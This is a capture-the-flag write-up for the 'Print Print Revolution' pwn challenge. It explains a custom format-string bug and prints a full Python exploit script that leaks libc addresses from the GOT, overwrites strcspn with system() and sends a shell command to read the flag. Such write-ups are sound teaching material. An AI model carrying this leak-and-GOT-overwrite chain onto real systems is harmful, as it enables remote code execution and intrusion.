Print Print Revolution — SunshineCTF 2026 (pwn, 438 pts)
Description
The arcade's score printer has been spitting out strange tickets all week. Step up to the renderer and see what it's really printing.
nc chal.sunshinectf.games 26002
We're given: revolution
Overview
A format string bug, but the binary doesn't use real printf — it has its own mini version with three custom commands: print as hex, print as string, and write a value to an address. That last one is the key: it's a built-in "write anything, anywhere" button. The plan was leak a libc address → figure out which libc it's using → calculate where system() lives → overwrite a function pointer with it → send a shell command.
Solution
The bug. The program reads a line of input and hands it straight to its custom renderer with no arguments of its own. The renderer still thinks it's getting arguments though, so it reads them off the stack — which happens to be our own input, sitting right there. Three commands matter:
%N$s— read argument N as a pointer, print the string at it (a leak)%N$w— write argument N+1 to the address in argument N (an arbitrary write)
Controlling the arguments. Sending %6$x %7$x %8$x ... showed that argument 6 is the first 8 bytes of our input, argument 7 is the next 8 bytes, and so on. So argument 30 maps to byte 192 of our input — easy to place.
Getting a raw address into the input. The program cuts off input at the first newline by writing a NUL there. That's actually convenient: if we put a NUL right after our short command, the "visible" input ends there, but the raw bytes after it (including a literal address with zero bytes in it) survive untouched. So the layout is: command, NUL, padding, then the raw 8-byte address at offset 192.
Leaking libc. Since this is a non-PIE binary, the GOT (a table of library function addresses) sits at fixed, known locations. Pointing %30$s at the GOT entries for write, read, and setvbuf leaked their real libc addresses.
Identifying the exact libc. Those three leaked addresses get fed into libc.rip, a site that matches address patterns to a specific libc build and gives back symbol offsets. From there: leaked_write_address - write's_offset = libc base, and libc base + system's_offset = system()'s real address.
The overwrite. The program calls strcspn() on every line it reads, and that function's GOT entry isn't protected (RELRO doesn't cover it). Using %30$w, overwrite strcspn@GOT with the address of system().
Getting the flag. Now when the program calls what it thinks is strcspn(), it's actually calling system() — on our next line of input. So the next thing sent is just a shell command:
cat /flag /flag.txt /ctf/flag /ctf/flag.txt 2>/dev/null
The service runs it and prints the flag.
All of this has to happen on one unbroken connection — a new connection means new addresses (ASLR), so the leak and the final overwrite won't match. Here's the full exploit script, which connects once, leaks the three GOT addresses, queries libc.rip, computes system()'s address, overwrites the GOT entry, then sends the command — all over the same socket:
#!/usr/bin/env python3
"""Exploit Print Print Revolution's positional write to run a shell command."""
import json
import socket
import struct
import urllib.request
HOST = "chal.sunshinectf.games"
PORT = 26002
LIBC_RIP = "https://libc.rip"
GOT_WRITE = 0x404000
GOT_STRCSPN = 0x404010
GOT_READ = 0x404018
GOT_SETVBUF = 0x404020
ARG_INDEX = 30
def recv_until(sock: socket.socket, marker: bytes) -> bytes:
data = bytearray()
while marker not in data:
chunk = sock.recv(4096)
if not chunk:
break
data.extend(chunk)
return bytes(data)
def leak_got(sock: socket.socket, address: int) -> bytes:
"""Use argument 30, which aliases input-buffer offset 192, as a pointer."""
fmt = f"%{ARG_INDEX}$s".encode()
ptr_offset = (ARG_INDEX - 6) * 8
payload = (
fmt
+ b"\0"
+ b"A" * (ptr_offset - len(fmt) - 1)
+ struct.pack("<Q", address)
+ b"\n"
)
sock.sendall(payload)
response = recv_until(sock, b"score> ")
return response.split(b"\n", 1)[0]
def libc_matches(write_addr: int, read_addr: int, setvbuf_addr: int):
suffixes = {
"write": hex(write_addr & 0xFFF),
"read": hex(read_addr & 0xFFF),
"setvbuf": hex(setvbuf_addr & 0xFFF),
}
request = urllib.request.Request(
f"{LIBC_RIP}/api/find",
data=json.dumps({"symbols": suffixes}).encode(),
headers={"Content-Type": "application/json"},
method="POST",
)
with urllib.request.urlopen(request, timeout=20) as response:
candidates = json.load(response)
results = []
for candidate in candidates:
request = urllib.request.Request(
f"{LIBC_RIP}/api/libc/{candidate['id']}",
data=json.dumps({"symbols": ["write", "system"]}).encode(),
headers={"Content-Type": "application/json"},
method="POST",
)
with urllib.request.urlopen(request, timeout=20) as response:
symbols = json.load(response).get("symbols", {})
if "write" not in symbols or "system" not in symbols:
continue
base = write_addr - int(symbols["write"], 16)
if base & 0xFFF:
continue
results.append((candidate["id"], base + int(symbols["system"], 16)))
return results
def main() -> None:
with socket.create_connection((HOST, PORT), timeout=10) as sock:
sock.settimeout(10)
banner = recv_until(sock, b"score> ")
print(banner.decode("utf-8", errors="replace"), end="")
write_bytes = leak_got(sock, GOT_WRITE)
read_bytes = leak_got(sock, GOT_READ)
setvbuf_bytes = leak_got(sock, GOT_SETVBUF)
if min(len(write_bytes), len(read_bytes), len(setvbuf_bytes)) < 6:
raise RuntimeError("A GOT leak was shorter than six bytes")
write_addr = int.from_bytes(write_bytes[:6], "little")
read_addr = int.from_bytes(read_bytes[:6], "little")
setvbuf_addr = int.from_bytes(setvbuf_bytes[:6], "little")
print(f"write address: {write_addr:#x}")
print(f"read address: {read_addr:#x}")
print(f"setvbuf address: {setvbuf_addr:#x}")
matches = libc_matches(write_addr, read_addr, setvbuf_addr)
for library, system_addr in matches:
print(f"{library}: system at {system_addr:#x}")
system_addresses = {address for _, address in matches}
if not system_addresses:
raise RuntimeError("libc.rip found no compatible libc candidate")
if len(system_addresses) != 1:
raise RuntimeError("libc candidates disagree on the system address")
system_addr = system_addresses.pop()
# %30$w stores argument 31 at the address in argument 30. Both slots
# overlap controlled bytes in this input buffer.
fmt = b"%30$w"
arg_offset = (ARG_INDEX - 6) * 8
write_payload = (
fmt
+ b"\0"
+ b"A" * (arg_offset - len(fmt) - 1)
+ struct.pack("<Q", GOT_STRCSPN)
+ struct.pack("<Q", system_addr)
+ b"\n"
)
sock.sendall(write_payload)
write_response = recv_until(sock, b"score> ")
print("GOT overwrite response:", write_response.decode("utf-8", errors="replace"))
# The next main-loop strcspn call now invokes system(command).
sock.sendall(b"cat /flag /flag.txt /ctf/flag /ctf/flag.txt 2>/dev/null\n")
result = recv_until(sock, b"score> ")
print("command response:", result.decode("utf-8", errors="replace"))
print("command response bytes:", result)
if __name__ == "__main__":
main()
Flag
sun{cust0m_fmtstr_n0_t00ls_4ll0wed}
Key Takeaways
- A format string bug doesn't need real
printf/pwntools support — a custom renderer with its own read/write commands is exploitable the same way, once you reverse its syntax. - "Missing" arguments in a variadic call don't error out — they just read whatever's next on the stack, which can be attacker-controlled input.
- A NUL byte that's meant to end a string can be repurposed to hide raw bytes (like an address) past a trimming function, instead of just crashing things.
- Always check what RELRO actually protects — an "unprotected" GOT entry is a writable function pointer.
- Keep one connection open from leak to exploit; ASLR resets with every new connection.
Tools Used
| Tool | Purpose |
|---|---|
objdump |
reversing the renderer and finding GOT addresses |
Python 3 (socket, struct) |
the exploit script |
nc |
manual recon of the service |
Comments
Join the discussionNo comments yet. Be the first to comment.